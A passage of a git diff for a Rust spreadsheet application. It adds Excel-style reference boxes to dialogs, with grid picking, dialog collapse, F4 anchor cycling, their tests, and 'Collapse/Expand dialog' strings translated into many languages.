box follows the selection as it does for the mouse. The keys are taken out +/// of the frame's input before the box's text field reads them, so they don't move its caret +/// instead; expanded, they edit the box. +fn arrows_move_selection(app: &mut SheetApp, ctx: &egui::Context) { + use egui::Key::{ArrowDown, ArrowLeft, ArrowRight, ArrowUp}; + let mut moves = Vec::new(); + ctx.input_mut(|i| { + i.events.retain(|e| match e { + egui::Event::Key { key: key @ (ArrowUp | ArrowDown | ArrowLeft | ArrowRight), pressed: true, modifiers, .. } => { + moves.push((*key, *modifiers)); + false + } + _ => true, + }); + }); + if moves.is_empty() { + return; + } + // Arrows follow the screen: on a right-to-left sheet Left goes to the next column. + let rtl = app.session.active().and_then(|d| d.wb.active()).is_some_and(|sh| sh.right_to_left); + for (key, m) in moves { + let (dr, dc) = match key { + ArrowUp => (-1, 0), + ArrowDown => (1, 0), + ArrowLeft => (0, if rtl { 1 } else { -1 }), + _ => (0, if rtl { -1 } else { 1 }), + }; + let from = app.session.active().map(|d| if m.shift { d.selection.moving_end() } else { d.selection.active }); + let _ = app.run("selection.move", json!({"dr": dr, "dc": dc, "extend": m.shift, "jump": m.command})); + app.grid.ensure_visible = true; + app.grid.reveal_moving_end = m.shift; + app.grid.reveal_from = from; + } +} + +/// After the dialog's window is drawn: remembers where the expanded window is, and ends picking +/// into a reference box when the box was not drawn (the dialog stopped showing it) or when +/// another text field of the dialog takes the keyboard. A collapsed dialog shows no other field, +/// so its box keeps picking whatever else is clicked (the Name Box, the formula bar, the +/// ribbon): only Escape, Enter or the expand button end that state. +pub(super) fn window_shown(ctx: &egui::Context, d: &mut Dialog, collapsed: bool, rect: Option) { + if !collapsed { + d.refs.rect = rect; + } + d.refs.was_collapsed = collapsed; + d.refs.other_field = d.refs.collapsed.as_deref().is_some_and(|key| other_field_focused(ctx, key)); + // The box compares the grid selection with the one it last saw only while it is drawn: a + // hidden box would take a selection made meanwhile when it comes back. + if !std::mem::take(&mut d.refs.target_drawn) { + d.refs.target = None; + } + if !collapsed && ctx.text_edit_focused() && d.refs.target.as_deref().is_none_or(|key| !ctx.memory(|m| m.has_focus(ref_edit_id(key)))) { + d.refs.target = None; + } +} + +/// Makes the reference box `key` the one grid selections fill. The first pick remembers the +/// sheet and selection, which are put back when the dialog runs its command or closes. +pub(super) fn begin_pick(app: &SheetApp, d: &mut Dialog, key: &str) { + if let Some(doc) = app.session.active() + && let Some(sheet) = doc.wb.active() + { + let ranges: Vec = doc.selection.ranges.iter().map(|r| r.a1()).collect(); + let selection = Some((ranges.join(","), doc.selection.active.a1())); + match d.refs.home.as_mut() { + None => d.refs.home = Some(Home { uid: sheet.uid, selection }), + // Picking again after a failed OK: the selection to put back is the one now on the + // dialog's sheet. + Some(home) if home.selection.is_none() && home.uid.get() == sheet.uid.get() => { + home.selection = selection; + } + Some(_) => {} + } + } + d.refs.target = Some(key.to_string()); + d.refs.refocus = false; + d.refs.seen = selection_ref(app, d.refs.home.as_ref(), takes_several_areas(&d.name, key)); + d.refs.seen_sheet = active_sheet_name(app); +} + +/// The name of the sheet shown in the active workbook. +fn active_sheet_name(app: &SheetApp) -> String { + app.session.active().and_then(|doc| doc.wb.active()).map(|sh| sh.name.clone()).unwrap_or_default() +} + +/// Stops picking and goes back to the dialog's own sheet, putting back the selection from before +/// picking began (once), unless that sheet was deleted: the selection is then left where it is. +/// The sheet itself is kept until the dialog closes. +/// +/// The commands go through [`SheetApp::run`], as the ribbon's do: showing the sheet first saves +/// a text-box draft left open on the sheet picked on, and the UI's after-command pass runs. +/// +/// Fails when the sheet could not be shown again (the draft could not be saved): the person +/// stays with their text, the selection waits for the next time the dialog lets go, and a +/// dialog about to run its command must not, since references without a sheet name would be +/// read against the sheet still shown. +pub(super) fn end_pick(app: &mut SheetApp, d: &mut Dialog) -> Result<(), String> { + d.refs.target = None; + d.refs.collapsed = None; + let Some(home) = d.refs.home.as_mut() else { return Ok(()) }; + let Some(sheet) = app.session.active().and_then(|doc| home_sheet(&doc.wb, home)).map(|s| s.name.clone()) else { return Ok(()) }; + // After an OK that failed, the selection is already back and only the sheet is shown again, + // so references without a sheet name mean it. + if !active_sheet_name(app).eq_ignore_ascii_case(&sheet) { + app.run("sheet.activate", json!({"sheet": sheet}))?; + } + if let Some((range, active)) = home.selection.take() { + let _ = app.run("selection.set", json!({"range": range, "active": active})); + } + Ok(()) +} + +/// A reference box (RefEdit): a text field that the grid selection fills while it is the box +/// being picked into, and a button that collapses the dialog to the box or expands it again. +pub(super) fn ref_edit(app: &SheetApp, ui: &mut egui::Ui, d: &mut Dialog, key: &str, label: RefLabel<'_>, width: f32) { + let lang = crate::i18n::current(ui.ctx()); + let mut s = d.values.get(key).and_then(Json::as_str).unwrap_or("").to_string(); + let collapsed = d.refs.collapsed.as_deref() == Some(key); + ui.horizontal(|ui| { + let id = ref_edit_id(key); + let r = ui.add(egui::TextEdit::singleline(&mut s).id(id).desired_width(width - 30.0)); + let r = match label { + RefLabel::By(label) => r.labelled_by(label), + RefLabel::Named(name) => r.accessible_name(lang.tr(name)), + }; + // F4 cycles the anchors of the reference in the box, as in Excel's reference boxes. + if r.has_focus() && ui.input_mut(|i| i.consume_key(egui::Modifiers::NONE, egui::Key::F4)) { + s = cycle_anchors(&s); + } + if r.gained_focus() { + begin_pick(app, d, key); + } else if d.refs.target.as_deref() == Some(key) { + let sel = selection_ref(app, d.refs.home.as_ref(), takes_several_areas(&d.name, key)); + let sheet = active_sheet_name(app); + if sheet != d.refs.seen_sheet { + // Another sheet was shown: its selection is where that sheet was left, not a pick. + d.refs.seen = sel; + d.refs.seen_sheet = sheet; + } else if sel != d.refs.seen { + // The person selected on the grid: the selection becomes the reference. + s = sel.clone(); + d.refs.seen = sel; + d.refs.refocus = true; + } + if d.refs.refocus && !ui.input(|i| i.pointer.any_down()) { + d.refs.refocus = false; + r.request_focus(); + } + } + let t = theme::Tokens::get(ui.ctx()); + let (icon, tip) = if collapsed { (Icon::Expand, "Expand dialog") } else { (Icon::Collapse, "Collapse dialog") }; + let b = crate::widgets::icon_button(ui, icon, t.text_dim, tip, vec2(22.0, 20.0)); + let name = lang.tr(tip).to_string(); + b.widget_info(|| egui::WidgetInfo::labeled(egui::Role::Button, true, &name)); + if b.clicked() { + if collapsed { + d.refs.collapsed = None; + } else { + d.collapse_to(app, key); + } + ui.memory_mut(|m| m.request_focus(id)); + } + }); + if d.refs.target.as_deref() == Some(key) { + d.refs.target_drawn = true; + } + d.values.insert(key.into(), json!(s)); +} + +/// The anchors of one part of a reference (`$A$1`, `A`, `$3`): its column letters and row digits, +/// and whether each carries a `$`. +struct Anchors { + letters: String, + digits: String, + col_abs: bool, + row_abs: bool, +} + +/// Reads `part` as a cell (`A1`), a column (`A`) or a row (`3`) with its anchors: at most three +/// letters and seven digits, nothing else. A `$` alone before the digits of a row anchors the row. +fn anchors(part: &str) -> Option { + let (col_abs, rest) = match part.strip_prefix('$') { + Some(rest) => (true, rest), + None => (false, part), + }; + let letters: String = rest.chars().take_while(char::is_ascii_alphabetic).collect(); + let rest = rest.get(letters.len()..)?; + let (row_abs, rest) = match rest.strip_prefix('$') { + Some(rest) => (true, rest), + None => (false, rest), + }; + let digits: String = rest.chars().take_while(char::is_ascii_digit).collect(); + if !rest.get(digits.len()..)?.is_empty() || letters.len() > 3 || digits.len() > 7 || (letters.is_empty() && digits.is_empty()) { + return None; + } + if letters.is_empty() { + // `$3`: the one `$` belongs to the row; `$$3` is not a reference. + if col_abs && row_abs { + return None; + } + return Some(Anchors { letters, digits, col_abs: false, row_abs: col_abs || row_abs }); + } + Some(Anchors { letters, digits, col_abs, row_abs }) +} + +/// The areas of a reference list, split at the commas between them. A comma inside a quoted +/// sheet name (`'Sales, West'!A1`) is part of the name, and a doubled quote inside the quotes +/// (`'O''Brien, Jr'!A1`) is an escaped quote, not the end of the name: a quote toggles the +/// quoted state, so a doubled one toggles it twice. +fn split_areas(reference: &str) -> Vec<&str> { + let mut areas = Vec::new(); + let (mut start, mut quoted) = (0, false); + for (i, c) in reference.char_indices() { + match c { + '\'' => quoted = !quoted, + ',' if !quoted => { + areas.push(reference.get(start..i).unwrap_or_default()); + start = i.saturating_add(1); + } + _ => {} + } + } + areas.push(reference.get(start..).unwrap_or_default()); + areas +} + +/// Excel's F4 in a reference box: `A1` → `$A$1` → `A$1` → `$A1` → `A1`, every part of every +/// area moving together from the first part's anchors (`A1:B2,D4` → `$A$1:$B$2,$D$4`), sheet +/// names kept; whole columns and rows have one anchor each (`A:A` → `$A:$A` → `A:A`). Text that +/// isn't a reference comes back as it is. +pub(crate) fn cycle_anchors(reference: &str) -> String { + let mut areas: Vec<(&str, Vec)> = Vec::new(); + for area in split_areas(reference) { + let area = area.trim(); + let (prefix, body) = match area.rsplit_once('!') { + Some((sheet, body)) => (area.get(..sheet.len() + 1).unwrap_or_default(), body), + None => ("", area), + }; + let parts: Vec<&str> = body.split(':').collect(); + if parts.len() > 2 { + return reference.to_string(); + } + let Some(parts) = parts.iter().map(|p| anchors(p)).collect::>>() else { return reference.to_string() }; + areas.push((prefix, parts)); + } + let Some(first) = areas.first().and_then(|(_, parts)| parts.first()) else { return reference.to_string() }; + let (col_abs, row_abs) = if first.letters.is_empty() { + (!first.row_abs, !first.row_abs) + } else if first.digits.is_empty() { + (!first.col_abs, !first.col_abs) + } else { + match (first.col_abs, first.row_abs) { + (false, false) => (true, true), + (true, true) => (false, true), + (false, true) => (true, false), + (true, false) => (false, false), + } + }; + let anchor = |on: bool, text: &str| if on && !text.is_empty() { format!("${text}") } else { text.to_string() }; + areas + .iter() + .map(|(prefix, parts)| { + let body: Vec = parts.iter().map(|a| format!("{}{}", anchor(col_abs, &a.letters), anchor(row_abs, &a.digits))).collect(); + format!("{prefix}{}", body.join(":")) + }) + .collect::>() + .join(",") +} + +#[cfg(test)] +mod tests { + use super::{cycle_anchors, split_areas}; + + #[test] + fn areas_split_only_at_commas_outside_quoted_sheet_names() { + assert_eq!(split_areas("B2:B4,D1"), ["B2:B4", "D1"]); + assert_eq!(split_areas("'Sales, West'!$A$1"), ["'Sales, West'!$A$1"]); + assert_eq!(split_areas("'O''Brien, Jr'!A1:B2,D4"), ["'O''Brien, Jr'!A1:B2", "D4"]); + assert_eq!(split_areas("'Q1, Q2'!A1,'Q3, Q4'!B2"), ["'Q1, Q2'!A1", "'Q3, Q4'!B2"]); + assert_eq!(split_areas(""), [""]); + } + + #[test] + fn f4_keeps_a_comma_inside_a_quoted_sheet_name() { + assert_eq!(cycle_anchors("'Sales, West'!$A$1"), "'Sales, West'!A$1"); + assert_eq!(cycle_anchors("'O''Brien, Jr'!A1:B2,D4"), "'O''Brien, Jr'!$A$1:$B$2,$D$4"); + assert_eq!(cycle_anchors("B2:B4,D1"), "$B$2:$B$4,$D$1"); + } + + #[test] + fn f4_cycles_cells_ranges_columns_and_rows() { + assert_eq!(cycle_anchors("A1"), "$A$1"); + assert_eq!(cycle_anchors("$A$1"), "A$1"); + assert_eq!(cycle_anchors("A$1"), "$A1"); + assert_eq!(cycle_anchors("$A1"), "A1"); + assert_eq!(cycle_anchors("A1:B2"), "$A$1:$B$2"); + assert_eq!(cycle_anchors("$A$1:$B$2"), "A$1:B$2"); + // Every area follows the first part, and sheet names stay as typed. + assert_eq!(cycle_anchors("'O''Brien Rates'!A2:A4, D4"), "'O''Brien Rates'!$A$2:$A$4,$D$4"); + assert_eq!(cycle_anchors("Sheet1!$A$1:B2"), "Sheet1!A$1:B$2"); + assert_eq!(cycle_anchors("A:A"), "$A:$A"); + assert_eq!(cycle_anchors("$A:$A"), "A:A"); + assert_eq!(cycle_anchors("1:3"), "$1:$3"); + assert_eq!(cycle_anchors("$1:$3"), "1:3"); + } + + #[test] + fn f4_leaves_text_that_is_not_a_reference() { + for text in ["", "hello", "A1:hello", "ABCD1", "A12345678", "$$1", "$$A1", "A1:B2:C3", "Sheet1!", "A1,", "=A1"] { + assert_eq!(cycle_anchors(text), text); + } + } +} diff --git a/crates/ui-egui/src/dialogs/show.rs b/crates/ui-egui/src/dialogs/show.rs index 320f06371..70ba3fed5 100644 --- a/crates/ui-egui/src/dialogs/show.rs +++ b/crates/ui-egui/src/dialogs/show.rs @@ -9,6 +9,7 @@ use super::format_cells::format_cells; use super::insert_function::insert_function; use super::names::{name_manager, paste_name}; use super::paste::{paste_special, paste_special_shortcuts}; +use super::ref_edit::{RefLabel, SHEET_DELETED, end_pick, home_sheet_deleted, place_window, ref_edit, window_shown}; use super::spelling::spelling; use super::zoom::zoom; use super::{Dialog, Field, Json, Key, Map, RefPick, SheetApp, json, vec2}; @@ -157,8 +158,9 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { "pasteSpecial" => 480.0, _ => 380.0, }; + let window_id = egui::Id::unique("dialog").with(&d.name); let window = egui::Window::new(app.ui.language.tr(&d.title)) - .id(egui::Id::unique("dialog").with(&d.name)) + .id(window_id) .collapsible(false) .resizable(false) .default_width(width) @@ -171,12 +173,18 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { "advancedFilter" => window.default_height(0.0), _ => window, }; - window.show(ctx, |ui| { + let (window, collapsed) = place_window(app, ctx, &mut d, window, window_id); + let shown = window.show(ctx, |ui| { + if let Some(key) = &collapsed { + let title = d.title.clone(); + ref_edit(app, ui, &mut d, key, RefLabel::Named(&title), (width - 40.0).min(380.0)); + return; + } ui.set_min_width(width - 20.0); match d.name.as_str() { "formatCells" => format_cells(app, ui, &mut d, &mut confirm), - "dataValidation" => data_validation_form(ui, &mut d, &mut confirm, &mut open), - "advancedFilter" => advanced_filter_form(ui, &mut d, &mut confirm, &mut open), + "dataValidation" => data_validation_form(app, ui, &mut d, &mut confirm, &mut open), + "advancedFilter" => advanced_filter_form(app, ui, &mut d, &mut confirm, &mut open), "insertFunction" => insert_function(app, ui, &mut d, &mut confirm), "find" => find(app, ui, &mut d), "goTo" => go_to(app, ui, &mut d, &mut confirm), @@ -188,7 +196,7 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { "recommendedCharts" => recommended_charts(app, ui, &mut d, &mut confirm, &mut open), "selectData" => select_data(app, ui, &mut d, &mut confirm, &mut open), "commandSearch" => command_search(app, ui, &mut d, &mut confirm), - "goalSeek" => goal_seek(app, ui, &mut d, &mut confirm), + "goalSeek" => goal_seek(app, ui, &mut d, &mut confirm, &mut open), "equation" => crate::equation::editor(app, ui, &mut d, &mut confirm, &mut open), "pasteSpecial" => paste_special(app, ui, &mut d, &mut confirm, &mut open), "analysisToolPak" => analysis_toolpak(app, ui, &mut d, &mut confirm, &mut open), @@ -365,9 +373,10 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { open = false; } } - _ => form(ui, &mut d, &mut confirm, &mut open), + _ => form(app, ui, &mut d, &mut confirm, &mut open), } }); + window_shown(ctx, &mut d, collapsed.is_some(), shown.map(|r| r.response.rect)); // Hyperlinks inside dialogs (About ▸ Contributors) open through the host's `open_url`, since // the native shell has no browser integration of its own. if let Some(open_url) = &app.services.open_url { @@ -398,6 +407,18 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { app.message = Some((d.title.clone(), "Return to the original worksheet to insert this picture, or cancel and choose another cell.".into())); confirm = false; } + if confirm && d.command.is_some() && home_sheet_deleted(app, &mut d) { + // References without a sheet name would land on whichever sheet is shown now. + app.message = Some((d.title.clone(), SHEET_DELETED.into())); + confirm = false; + } + if confirm && let Err(e) = end_pick(app, &mut d) { + // References without a sheet name mean the sheet the dialog was opened on: when it can't + // be shown again (a text-box draft on the picked sheet could not be saved), the command + // would read them against the wrong sheet, so it doesn't run and the dialog stays. + app.message = Some((d.title.clone(), crate::clean_error(&e))); + confirm = false; + } if confirm && let Some(cmd) = d.command { let params = build_params(&d); match app.run(cmd, params) { @@ -424,6 +445,19 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { } else if confirm { open = false; } + if !open + && !confirm + && let Err(e) = end_pick(app, &mut d) + { + // Cancelled or closed: back to the sheet and selection from before picking. A confirmed + // OK went back before its command ran, and stays where the command left things (Data + // Analysis shows the report sheet it added). When the dialog's sheet can't be shown + // again (a text-box draft on the picked sheet could not be saved), Cancel still closes + // the dialog, since there is no command left to protect: the reason is shown, and the + // draft and the selection stay where they are for the person to deal with. A script's + // `ui.dialog.cancel` gets the error instead and keeps the dialog, so it can act on it. + app.message = Some((d.title.clone(), crate::clean_error(&e))); + } if app.ui_window() != home { // A command run from the dialog switched windows: whatever it opened shows in the new // window, and this dialog (or the one it returns to) stays in its own. @@ -470,8 +504,8 @@ pub(super) fn ok_cancel(ui: &mut egui::Ui, confirm: &mut bool, open: &mut bool) }); } -fn form(ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool, open: &mut bool) { - form_fields(ui, d); +fn form(app: &SheetApp, ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool, open: &mut bool) { + form_fields(app, ui, d); ok_cancel(ui, confirm, open); } @@ -517,7 +551,7 @@ fn track_pick(pick: &mut RefPick, r: &egui::Response, typed: bool) { } /// Draws a dialog's `fields`, editing its values. -pub(super) fn form_fields(ui: &mut egui::Ui, d: &mut Dialog) { +pub(super) fn form_fields(app: &SheetApp, ui: &mut egui::Ui, d: &mut Dialog) { // Field labels, choices and notes are English source strings, translated as they are drawn. let lang = crate::i18n::current(ui.ctx()); egui::Grid::new("form").num_columns(1).spacing(vec2(8.0, 6.0)).show(ui, |ui| { @@ -546,6 +580,12 @@ pub(super) fn form_fields(ui: &mut egui::Ui, d: &mut Dialog) { } }); } + Field::Ref { key, label } => { + ui.vertical(|ui| { + let l = ui.label(lang.tr(label)); + ref_edit(app, ui, d, key, RefLabel::By(l.id), 320.0); + }); + } Field::Password { key, label } => { // Masked as typed (Excel shows dots); "Show password" reveals it on purpose. ui.vertical(|ui| { diff --git a/crates/ui-egui/src/i18n/cs.rs b/crates/ui-egui/src/i18n/cs.rs index 4062f4a45..c7938ff4d 100644 --- a/crates/ui-egui/src/i18n/cs.rs +++ b/crates/ui-egui/src/i18n/cs.rs @@ -571,6 +571,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Stop" => "Zastavit", "New Macro" => "Nové makro", "Show" => "Zobrazit", + "Collapse dialog" => "Sbalit dialogové okno", + "Expand dialog" => "Rozbalit dialogové okno", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/de.rs b/crates/ui-egui/src/i18n/de.rs index 2a70f2f0a..97e6460e8 100644 --- a/crates/ui-egui/src/i18n/de.rs +++ b/crates/ui-egui/src/i18n/de.rs @@ -487,6 +487,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Stop" => "Beenden", "New Macro" => "Neues Makro", "Show" => "Anzeigen", + "Collapse dialog" => "Dialogfeld reduzieren", + "Expand dialog" => "Dialogfeld erweitern", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/el.rs b/crates/ui-egui/src/i18n/el.rs index 4fc7f5bac..7a29ee928 100644 --- a/crates/ui-egui/src/i18n/el.rs +++ b/crates/ui-egui/src/i18n/el.rs @@ -994,6 +994,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Recording" => "Καταγραφή", "New Macro" => "Νέα μακροεντολή", "Show" => "Εμφάνιση", + "Collapse dialog" => "Σύμπτυξη παραθύρου διαλόγου", + "Expand dialog" => "Ανάπτυξη παραθύρου διαλόγου", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/es.rs b/crates/ui-egui/src/i18n/es.rs index 92d22aa66..1db58e0fc 100644 --- a/crates/ui-egui/src/i18n/es.rs +++ b/crates/ui-egui/src/i18n/es.rs @@ -493,6 +493,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Stop" => "Detener", "New Macro" => "Nueva macro", "Show" => "Mostrar", + "Collapse dialog" => "Contraer diálogo", + "Expand dialog" => "Expandir diálogo", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/fr.rs b/crates/ui-egui/src/i18n/fr.rs index ff678c9da..a6a4c34a3 100644 --- a/crates/ui-egui/src/i18n/fr.rs +++ b/crates/ui-egui/src/i18n/fr.rs @@ -465,6 +465,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Stop" => "Arrêter", "New Macro" => "Nouvelle macro", "Show" => "Afficher", + "Collapse dialog" => "Réduire la boîte de dialogue", + "Expand dialog" => "Développer la boîte de dialogue", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/it.rs b/crates/ui-egui/src/i18n/it.rs index e60f722a7..f72a4cdf1 100644 --- a/crates/ui-egui/src/i18n/it.rs +++ b/crates/ui-egui/src/i18n/it.rs @@ -997,6 +997,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Recording" => "Registrazione", "New Macro" => "Nuova macro", "Show" => "Mostra", + "Collapse dialog" => "Comprimi finestra di dialogo", + "Expand dialog" => "Espandi finestra di dialogo", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/ja.rs b/crates/ui-egui/src/i18n/ja.rs index 3aea3f6ce..67cf83e87 100644 --- a/crates/ui-egui/src/i18n/ja.rs +++ b/crates/ui-egui/src/i18n/ja.rs @@ -1002,6 +1002,8 @@ pub(super) const DIALOGS: &[(&str, &str)] = &[ ("Tab Color", "シートの見出しの色"), ("Unhide…", "再表示…"), ("Unprotect Sheet…", "シート保護の解除…"), + ("Collapse dialog", "ダイアログを折りたたむ"), + ("Expand dialog", "ダイアログを展開する"), ]; /// Labels of the ribbon menus, pop-ups and palettes that the reference catalog does not cover (the diff --git a/crates/ui-egui/src/i18n/ko.rs b/crates/ui-egui/src/i18n/ko.rs index 194eb26ee..d725d97d1 100644 --- a/crates/ui-egui/src/i18n/ko.rs +++ b/crates/ui-egui/src/i18n/ko.rs @@ -461,6 +461,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Stop" => "중지", "New Macro" => "새 매크로", "Show" => "표시", + "Collapse dialog" => "대화 상자 축소", + "Expand dialog" => "대화 상자 확장", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/nl.rs b/crates/ui-egui/src/i18n/nl.rs index 485de1b00..d87befc4e 100644 --- a/crates/ui-egui/src/i18n/nl.rs +++ b/crates/ui-egui/src/i18n/nl.rs @@ -540,6 +540,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Stop" => "Stoppen", "New Macro" => "Nieuwe macro", "Show" => "Weergeven", + "Collapse dialog" => "Dialoogvenster samenvouwen", + "Expand dialog" => "Dialoogvenster uitvouwen", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/pl.rs b/crates/ui-egui/src/i18n/pl.rs index 2b487d1f6..1c78b6a17 100644 --- a/crates/ui-egui/src/i18n/pl.rs +++ b/crates/ui-egui/src/i18n/pl.rs @@ -988,6 +988,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Recording" => "Rejestrowanie", "New Macro" => "Nowe makro", "Show" => "Pokaż", + "Collapse dialog" => "Zwiń okno dialogowe", + "Expand dialog" => "Rozwiń okno dialogowe", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/pt.rs b/crates/ui-egui/src/i18n/pt.rs index e28dafcaa..6a126c055 100644 --- a/crates/ui-egui/src/i18n/pt.rs +++ b/crates/ui-egui/src/i18n/pt.rs @@ -994,6 +994,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Recording" => "Gravando", "New Macro" => "Nova Macro", "Show" => "Mostrar", + "Collapse dialog" => "Recolher caixa de diálogo", + "Expand dialog" => "Expandir caixa de diálogo", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/ro.rs b/crates/ui-egui/src/i18n/ro.rs index ee35c4dca..b589bce0d 100644 --- a/crates/ui-egui/src/i18n/ro.rs +++ b/crates/ui-egui/src/i18n/ro.rs @@ -1050,6 +1050,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Recording" => "Înregistrare", "New Macro" => "Macrocomandă nouă", "Show" => "Afișare", + "Collapse dialog" => "Restrângere casetă de dialog", + "Expand dialog" => "Extindere casetă de dialog", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/ru.rs b/crates/ui-egui/src/i18n/ru.rs index eaefd5831..351734919 100644 --- a/crates/ui-egui/src/i18n/ru.rs +++ b/crates/ui-egui/src/i18n/ru.rs @@ -463,6 +463,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Stop" => "Остановить", "New Macro" => "Новый макрос", "Show" => "Показать", + "Collapse dialog" => "Свернуть диалоговое окно", + "Expand dialog" => "Развернуть диалоговое окно", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/sr.rs b/crates/ui-egui/src/i18n/sr.rs index f7b647090..2fc6749ee 100644 --- a/crates/ui-egui/src/i18n/sr.rs +++ b/crates/ui-egui/src/i18n/sr.rs @@ -460,6 +460,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Stop" => "Zaustavi", "New Macro" => "Novi makro", "Show" => "Prikaži", + "Collapse dialog" => "Skupi dijalog", + "Expand dialog" => "Proširi dijalog", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/tr.rs b/crates/ui-egui/src/i18n/tr.rs index 7b66509c1..dd4e867f4 100644 --- a/crates/ui-egui/src/i18n/tr.rs +++ b/crates/ui-egui/src/i18n/tr.rs @@ -430,6 +430,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Stop" => "Durdur", "New Macro" => "Yeni Makro", "Show" => "Göster", + "Collapse dialog" => "İletişim kutusunu daralt", + "Expand dialog" => "İletişim kutusunu genişlet", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/uk.rs b/crates/ui-egui/src/i18n/uk.rs index 6c2cbada2..3b16e6f7b 100644 --- a/crates/ui-egui/src/i18n/uk.rs +++ b/crates/ui-egui/src/i18n/uk.rs @@ -992,6 +992,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Recording" => "Запис", "New Macro" => "Новий макрос", "Show" => "Показати", + "Collapse dialog" => "Згорнути діалогове вікно", + "Expand dialog" => "Розгорнути діалогове вікно", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/vi.rs b/crates/ui-egui/src/i18n/vi.rs index daadb1385..c67dca217 100644 --- a/crates/ui-egui/src/i18n/vi.rs +++ b/crates/ui-egui/src/i18n/vi.rs @@ -432,6 +432,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Stop" => "Dừng", "New Macro" => "Macro Mới", "Show" => "Hiện", + "Collapse dialog" => "Thu gọn hộp thoại", + "Expand dialog" => "Mở rộng hộp thoại", _ => return None, }) } diff --git a/crates/ui-egui/src/i18n/zh.rs b/crates/ui-egui/src/i18n/zh.rs index b73b116f1..42f2c1c6a 100644 --- a/crates/ui-egui/src/i18n/zh.rs +++ b/crates/ui-egui/src/i18n/zh.rs @@ -453,6 +453,8 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Stop" => "停止", "New Macro" => "新建宏", "Show" => "显示", + "Collapse dialog" => "折叠对话框", + "Expand dialog" => "展开对话框", _ => return None, }) } diff --git a/crates/ui-egui/src/ribbon/review.rs b/crates/ui-egui/src/ribbon/review.rs index 2f76148ed..95ee30501 100644 --- a/crates/ui-egui/src/ribbon/review.rs +++ b/crates/ui-egui/src/ribbon/review.rs @@ -65,7 +65,7 @@ pub(super) fn review(app: &mut SheetApp, ui: &mut Ui) { ); }); sep(ui); - let protected = app.session.active().and_then(|d| d.wb.active().map(|s| s.is_protected())).unwrap_or(false); + let protected = app.active_sheet_protected(); let __k = big_button(ui, Icon::Lock, if protected { "Unprotect\nSheet" } else { "Protect\nSheet" }, "Protect Sheet", false); control_keytip(app, ui, &__k, "dialog:protectSheet"); if __k.clicked() { diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index 14f862ae0..f1240dcd6 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -89,6 +89,7 @@ mod protected_cell; mod python_cell_edit; mod python_hidden; mod python_mode; +mod ref_edit; mod ribbon_layout; mod right_to_left; mod scroll_position; diff --git a/crates/ui-egui/tests/it/ref_edit.rs b/crates/ui-egui/tests/it/ref_edit.rs new file mode 100644 index 000000000..c711c82cd --- /dev/null +++ b/crates/ui-egui/tests/it/ref_edit.rs @@ -0,0 +1,1639 @@ +//! Reference boxes (RefEdit) in dialogs: selecting on the grid fills the box, and the collapse +//! button shrinks the dialog to the box while the person selects. Real pointer and keyboard input. + +use egui::{Event, Key, Modifiers, PointerButton}; +use egui_kittest::kittest::Queryable as _; +use gridcraft_engine::Session; +use gridcraft_engine::core::CellRef; +use gridcraft_ui_egui::control::{Outcome, handle}; +use gridcraft_ui_egui::{SheetApp, grid::Geo}; +use serde_json::json; + +type H = egui_kittest::Harness<'static, SheetApp>; + +/// A control-channel request, as a script or an agent sends it. +fn control(h: &mut H, method: &str, params: serde_json::Value) -> serde_json::Value { + let ctx = h.ctx.clone(); + let r = match handle(h.state_mut(), &ctx, method, ¶ms) { + Outcome::Done(v) => v, + Outcome::Screenshot { .. } => json!(null), + }; + h.run_steps(3); + r +} + +fn harness(session: Session) -> H { + let mut h = crate::common::builder().with_size(egui::vec2(1200.0, 800.0)).build_ui_state( + |ui, app: &mut SheetApp| { + app.logic(ui.ctx()); + app.ui(ui); + }, + crate::common::app(session), + ); + h.run_steps(4); + h +} + +/// A workbook whose B5 is a formula of B2, with B2 selected. +fn workbook() -> Session { + let mut s = Session::new(); + s.new_workbook(); + s.execute("cell.set", json!({"cell": "B2", "input": "1"})).unwrap(); + s.execute("cell.set", json!({"cell": "B5", "input": "=B2*3+4"})).unwrap(); + s.execute("selection.set", json!({"range": "B5"})).unwrap(); + s +} + +fn open_goal_seek(h: &mut H) { + h.state_mut().open_dialog("goalSeek", json!({})); + 